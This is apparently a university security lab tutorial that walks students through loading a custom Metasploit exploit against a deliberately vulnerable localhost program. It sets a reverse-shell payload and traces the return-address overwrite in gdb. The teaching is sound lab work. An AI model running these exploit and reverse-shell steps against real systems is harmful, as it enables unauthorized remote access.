Metasploit Basics
Introduction
Metasploit is a hacking framework written in ruby. It is designed to help make writing and executing exploits as simple as possible. This tutorial will walk you through using Metasploit to write a custom exploit.
Running Metasploit
To start the lab clone the 354 repo (if you haven't) and run the script to start your container.
git clone https://github.com/cs354/CS-354.git
bash CS-354/student_environment.bash
First step is to startup the program we'll be attacking:
cd /mnt/labs/metasploit/vulnerable_program
make
./vulnerable 4000 &
We've created an explicity vulnerable program on port 4000. This program will execute any input it's given as shellcode. Since you've completed the shellcode project you understand that writing shellcode by hand is difficult. Luckily there a great tools that can used to access and execute pre-written shellcode, enter metasploit. In metasploit these pieces of shellcode are called payloads, they are executed in the context of exploits. An exploit is a set of instructions on what to do after making a connection to the victim machine, including where in your attack to put the payload. We've written a basic exploit for you. Copy it to the metasploit exploit directory. Our exploit is simple and contains nothing other than the payload.
cp /mnt/labs/metasploit/exploits/msflab.rb /usr/share/metasploit-framework/modules/exploits
Now you're ready to launch Metasploit and use your exploit simply run msfconsole
.
Before executing your exploit, it is useful to understand what some Metasploit commands do. Below are some of the command that you will use most.
-
use exploitname
Tells Metasploit to use the exploit with a specified file name (for us this is msflab). -
set RHOST hostname_or_ip
Will instruct Metasploit to target the specified remote host. (for us this is 127.0.0.1 since we attacking a program running the same computer) -
set RPORT report_port
Sets the port that Metasploit will connect to on the remote host. (for us this is 4000) -
set PAYLOAD linux/x64/shell/reverse_tcp
Sets the payload that is used to a payload targeted at Linux x64 platforms that will give you a shell when a service is exploited. -
set LPORT local_port
Sets the port number that the payload will open on the server when an exploit is exploited. It is important that this port number be a port that can be opened on the server (ie it is not in use by another service and not reserved for administrative use), so set it to a random 4 digit number greater than 1024, and you should be fine. You'll have to change the number each time you successfully exploit a service as well. -
exploit
Actually exploits the service. Another version ofexploit
,rexploit
reloads your exploit code and then executes the exploit. This allows you to try minor changes to your exploit code without restarting the console. -
sessions
Will help you interact with different remote shell sessions that have been opened on the server. -
show options
Will show you options that you have set and possibly ones that you might have forgotten to set. Each exploit and payload comes with its own options that you can set.
show exploits
andshow payloads
can also be used to show all exploits and payloads that are built in to Metasploit. -
help
Will give you basic information on commands not listed here. -
show payloads
Will give you a list of valid payloads for your current exploit (or all payloads if not exploit is set)
All that's left is to issue a series of simple commands. The
commands below use the example
exploit to attack
localhost
on port 4000
with the
linux/x64/shell/reverse_tcp
payload. When it is successful it will open
port 9485
on the target machine and Metasploit will show you
a shell.
use msflab
set RHOST 127.0.0.1
set RPORT 4000
set PAYLOAD linux/x64/shell/reverse_tcp
set LHOST 127.0.0.1
set LPORT 5000
exploit
Try the following:
Swaping to the
linux/x64/exec
payload and running a cmd (maybe your own reverse shell, maybe touch a file)Change the space options in the initialize function of the exploit, what does this do?
Open up the vulnerable program in gdb.
gdb vulnerable # open the executable vulnerable set follow-fork-mode child # if a new thread is created follow the new thread not the old b overwrite # breakpoint in the function overwrite run 1234 # run with 1234 as the arguemnet (and port the program will listen on)
Now exploit again with metasploit. Gdb should jump to the overwrite function:
[Switching to Thread 0x7ffff7de5740 (LWP 499)]
Thread 2.1 "vulnerable" hit Breakpoint 1, overwrite (
buf=0x7fffffffdb80 "\221\237\231\227\...67\f\016\r\361q\016\016\017_F\207\350d\036Td$V\001\vWF\213\316w+G\361\307z\026Yd-Vd\016d\vF\207\351F?\370\001"...) at src/server.c:34
34 ret = (long*)&ret + 1;
Switch the gdb layout which shows you C code + assembly by typing layout n
until you get that view. Print out the contents of the saved RIP. This is the address the program will jump when the function completes. It can be found at $rbp+8. Also print out the address of buf, the buffer containing your payload. In gdb:
(gdb) x/gx $rbp+8
0x7fffffffdb68: 0x0000555555555458
(gdb) p buf
$1 = 0x7fffffffdb80 "\221\237\231\2...F?\370\001"
That shows us that the current return address is 0x0000555555555458
and that buf is located at 0x7fffffffdb80
. Step to the end of the function with 'n' or next;
(gdb) n
35 (*ret) = (long)buf;
(gdb) n
...
42 return NULL;
(gdb) n
43 }
Now print out the return address again:
(gdb) x/gx $rbp+8
0x7fffffffdb68: 0x00007fffffffdb80
Notice it's the same as the address of buf. The program overwrote it for you. Now type 'si' (step instruction, i.e. an assembly instruction) a few to step forward in the code.
>│0x7fffffffdb80 xchg %eax,%ecx │
│0x7fffffffdb81 lahf │
│0x7fffffffdb82 cltd │
You'll see a jump when the function ends to an area like this. Notice that the current RIP (indicated by > in GDB) is the address of buf 0x7fffffffdb80
we found earlier. The program is now executing our input as if it were code.
In general programs wont simply allow you to execute your own code this easily. In the buffer overflow project you will learn a common way to force them to. Press c
continue and execution will continue until the next breakpoint (if there is one).